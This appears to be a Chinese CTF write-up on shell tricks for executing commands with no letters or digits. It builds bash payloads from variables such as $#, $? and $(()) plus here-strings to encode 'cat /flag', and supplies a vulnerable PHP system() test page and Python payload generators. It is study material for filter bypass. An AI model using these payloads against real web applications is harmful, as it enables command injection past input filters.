去年十二月份的时候我在先知上投稿了一篇无字母数字命令执行黑魔法——shell脚本变量,讲了讲Linux下某些环境变量在某些特定情况下可以发挥的作用,但当时我写的时候其实并没有太过于把这个技巧放在心里,因为我当时觉得这种技巧也只可能在CTF题目作为一个有趣的考点进行考察,很难在实际渗透中发挥作用。
直到今年做ctfshow的极限命令执行的时候,学会了利用数字构造字母进行命令执行的方法,再到后来水群的时候有个师傅遇到了个问题,就是自己已经可以命令执行了,但输入的命令全都变成了小写,而某个想要执行的命令必须得大写,那时我就想到既然我都可以无字母数字rce了,解决大小写问题不是轻而易举?然后我才猛然发现其实shell脚本变量在真实的渗透中其实也是可以发挥作用的,在这里分享一下最近我学到的知识和思考。
和之前一样,首先介绍一下shell脚本中$的多种用法(参考):
变量名 | 含义 |
---|---|
$0 | 脚本本身的名字 |
$1 | 脚本后所输入的第一串字符 |
$2 | 传递给该shell脚本的第二个参数 |
$* | 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’ |
[email protected] | 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’ |
$_ | 表示上一个命令的最后一个参数 |
$# | #脚本后所输入的字符串个数 |
$$ | 脚本运行的当前进程ID号 |
$! | 表示最后执行的后台命令的PID |
$? | 显示最后命令的退出状态,0表示没有错误,其他表示由错误 |
这种题最早的出处应该是2017年34c3CTF里的minbashmaxfun,然后2020年安洵杯里有一道Web-Bash-Vino0o0o,借用了这种思路,不过因为原出处里 bash<<<{,,,,}
这种形式并不能完美的执行命令,所以出题人采用了利用八进制实现命令构造的方法,美中不足的是那种做法并不能做到不出现数字,payload里出现了数字0,但那种构造思想很有趣,我也是顺着那条思路继续构造的,我使用的环境是centos,因此某些payload其他linux上可能不适用。
首先,在linux里完美可以利用八进制的方法绕过一些ban了字母的题 ,即我们可以使用$'\xxx'
的方式执行命令,比如我们可以用$'\154\163'
执行ls:
可以发现有了这种技巧我们就可以在数字可用的情况下进行命令构造。
除此之外在bash里我们可以使用[base#]n
的方式表示数字,也就是说我可以用2#100
表示十进制数字4:
因此从这里我们又向前推进了一步,只有我们有数字1或者0那就可以继续构造命令。假如现在字母或者数字只有1和0可以用,这时我们可以使用位移运算1<<1代替2,得到payload:
$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
理论上它可以代替$'\154\163'
执行命令,但事实上是不行的:
可以看到这里只解析了一层解析到$'\154\163'
就解析不下去了,想要它继续解析,我们不难想到Linux里的eval函数:
但可惜我们是不能使用它的,所以还是得老老实实的用1或者0构造,这里我们可以想到bash里的一种语法:command [args] <<<["]$word["],在这种语法下$word会展开并作为command的stdin,以此来继续执行命令:
但现在有个问题,就是用什么来代替bash,这时可以想到我之前文章里提到过的一个环境变量$0,它可以表示脚本本身的名字,而这里正是bash:
因此我们不难想出一种构造方式来:
$0<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
成功执行!假如这是一道CTF题,我们就该想想怎么执行cat /flag了,你想到的payload可能是:
$0<<<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
遗憾的是,这种payload并不能执行成功:
bash会告诉你不存在cat /flag
这种文件或者目录,很明显,bash是把它当作一个整体了,并没有有效的以空格作为分割,让cat作为命令,/flag作为参数,在ctfshow的极限命令执行题目里g4师傅给出了一种解决这种问题的方法——通过两次here-strings的方法来解析复杂的带参数命令,也就是说我们可以把payload改成:
$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
执行成功,我们拿到了flag,但可以看到这种构造方式不够极限,里面不但出现0更出现了1,下面,我们开始构造真正的无字母数字命令。
在之前那篇文章里我也提到过$#
这个变量,它可以表示#脚本后所输入的字符串个数:
如果#后面啥也没有它就是0,有一个字符串比如#就变成了1,似乎现在我们只要把1用${##}替换,0用${#}替换即可:
$${#}<<<$${#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
可惜这种执行方法是不行的,因为虽然$0表示bash,${#}表示0,但把它们拼起来并不表示bash,这里$$直接执行了,意思是脚本运行的当前进程ID号。下一步你可能会想到linux里的字符串拼接,但这种拼接也只会解析第一层,不会解析到最后:
这时我们可以想到linux下感叹号!的一种用法,它可以进行变量替换:
因此理论上我们只要找到一个值为零的变量,然后就可以用这种方法进行变量替换得到$0,并且还能成功解析,这时我们很容易想到刚刚使用的${#},毕竟它的值就是零嘛:
可以看到确实能得到bash,我们再次替换回去,可以得到新payload:
${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
执行成功!但就这样还没完,毕竟这个payload理论上只是本地可以使用,像那道题原本的php环境里究竟能不能成功执行还是个未知数,我们起个本地环境:
<?php
if(isset($_POST['cmd'])){
$cmd = $_POST['cmd'];
if(preg_match("/[A-Za-z0-9]+/",$cmd)){
die("NO.");
}
system($cmd);
}else{
highlight_file(__FILE__);
}
把payload传过去试试:
可惜,这种方法在php里是不成功的。但这种payload并不是完全不行,经过我的研究,payload其实只是${!#}<<<${!#}这一段没解析出来bash<<<bash,所以导致命令失效,可以看到我们把它替换成$0<<<$0其实php也行:
这里面的具体原因我也不是很懂,自我感觉可能是${!#}这种复杂变量不能通过php的system函数解析出来,于是我把它换了一种形式:
其实本质上也没啥差别,我只是增加了变量$__作为过渡,减少了解析的过程,但惊喜的是这种方法即使是在php下也可以成功解析:
__=${#};${!__}<<<${!__}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
利用脚本:
cmd='cat /flag'
payload='__=${#};${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:
payload+=f'\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1','${##}').replace('0','${#}')
payload+='\\\''
print(payload)
顺着这种思路,我开始思考其他构造方式。
从上一次构造我们其实可以发现,只要我们找到一个代表值为零的变量就可以得到bash进而继续构造,$?这个变量自然而然进入我的视线,它可以显示最后命令的退出状态,0表示没有错误,其他表示有错误 ,因此只要我们的payload最后不报错它的值自然还是0了:
看我们上面的payload可以发现其实需要的数字也就0、1和2,2可以由1<<1构造出来,可以省略。不过由于$?并不像$#一样灵活,可以随意构造出来任何数字,所以我为了减轻麻烦使用自增运算构造出了1,2这两个数字,现在就已经足够了,payload:
__=${?}&&___=$((++__))&&____=$((++___))&&_____=${?}&&${!_____}<<<${!_____}\<\<\<\$\'\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${__}${__}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${__}${_____}${_____}${__}${_____}${_____}))\\$((${____}#${__}${_____}${__}${_____}${_____}${_____}))\\$((${____}#${__}${__}${__}${_____}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${__}${__}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${__}))\'
直接像之前一样POST我们的payload的话报文里payload并没有被当作一个整体解析,所以我们可以url编码一下:
成功执行。
利用脚本:
cmd='cat /flag'
payload='__=${?}&&___=$((++__))&&____=$((++___))&&_____=${?}&&${!_____}<<<${!_____}\\<\\<\\<\\$\\\''
for c in cmd:
payload+=f'\\\\$((2#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1','${__}').replace('2','${____}').replace('0','${_____}')
payload+='\\\''
print(payload)
利用$(())构造是g4师傅出的极限命令执行最后的预期解,不过g4师傅使用的是按位取反的方法构造出了payload,我这里给出一种不用取反的payload。
linux里可以通过__=$(())
的方式将变量的值设置为0:
有了0我们自然可以像利用$?进行构造的方式一样通过自增继续构造:
__=$(())&&___=$((++__))&&____=$((++___))&&_____=$(())&&${!_____}<<<${!_____}\<\<\<\$\'\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${__}${__}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${__}${_____}${_____}${__}${_____}${_____}))\\$((${____}#${__}${_____}${__}${_____}${_____}${_____}))\\$((${____}#${__}${__}${__}${_____}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${__}${__}${_____}${__}${_____}))\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${__}))\'
同样的,POST的话记得编码一下:
可以看到我们的payload其实也就替换了两个xx=$(()),所以如果大家还找到什么值为零的变量的话替换这两个即可。
利用脚本:
cmd='cat /flag'
payload='__=$(())&&___=$((++__))&&____=$((++___))&&_____=$(())&&${!_____}<<<${!_____}\\<\\<\\<\\$\\\''
for c in cmd:
payload+=f'\\\\$((2#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1','${__}').replace('2','${____}').replace('0','${_____}')
payload+='\\\''
print(payload)
本质上还是参考了一些优秀师傅的思路,不过最后走出了一条属于自己的路还是挺开心的,各位大佬轻喷。